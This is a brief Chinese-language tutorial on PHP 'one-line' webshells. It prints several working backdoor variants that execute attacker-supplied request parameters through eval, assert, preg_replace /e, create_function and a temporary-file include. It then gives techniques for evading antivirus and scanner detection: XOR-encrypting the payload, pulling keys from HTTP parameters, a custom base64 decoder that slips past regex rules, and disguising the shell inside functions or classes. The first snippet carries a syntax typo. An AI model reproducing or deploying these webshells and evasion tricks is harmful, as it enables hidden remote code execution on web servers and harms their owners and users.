PHP木马
一句话木马
php一句话木马是一个php网页,主要功能是从请求中获得存在php代码的参数的值并执行。 最常用的php一句话木马是如下形式:
<php? @eval($_POST[cmd]);?>
eval函数: 把字符串当做代码执行,而$_POST[cmd]:从POST中获取参数cmd的值,因此该一句话可以把POST请求的cmd参数的值当做代码执行。
一句话常用危险函数
- eval() :将接受的字符串当做代码执行
- assert(): 用法和 eval()一样
- preg_replace()的e修饰符:5.5版本以上弃用
<?php @preg_replace("/abcd/e",$_POST['cmd'],"abcdefg"); ?>
- create_function():
$fun = @create_function('',$_REQUEST[1]);
$fun();
- 通过写文件的方式形成一句话效果:
$pass='a';
$a=$_REQUEST[$pass];
$file=md5('unicodesec');
$shell="<?php ".$a."?>";
$myfile = fopen($file, "w");
fwrite($myfile, $shell);
include $file;
unlink($file);
一句话的免杀
自定义加密bypass
例如使用异或加密:
$xor = "xor_en";
function xor_en($string,$xor){
$crystr = '';
$xor_len = strlen($xor);
for($i=0;$i<strlen($string);$i++){
$k = $i%$xor_len;
$crystr .= $string[$i] ^ $xor[$k];
}
return $crystr;
}
关键参数http获得bypass
从http参数中获取加密必须的参数,例如异或加密的$xor = "xor_en"
对关键的函数重写bypass
function decode64($str){
$base64 = implode("",range('A','Z')).implode("",range('a','z')).implode("",range('0','9'))."+/";
if($str=="") return false;
$more = substr_count($str, "=");
$str = substr($str,0,strlen($str)-$more);
$arr = str_split($str);
$binStr = "";
//base64 到 6个二进制还原
foreach($arr as $val){
$index = strpos($base64,$val);
$bin6 = base_convert($index, 10, 2);
$binStr .= str_repeat("0",6-strlen($bin6)).$bin6;
}
//6 => 8 二进制还原
$binStr = substr($binStr,0,strlen($binStr)-$more*2);
return BinToStr($binStr);
}
使用decode64函数代替base64_decode,可以绕过一些基于正则的查杀规则。
伪装正常程序
例如将关键的一句话放入函数中、类中、对关键函数进行拼接、不要将一句话函数放在末尾等等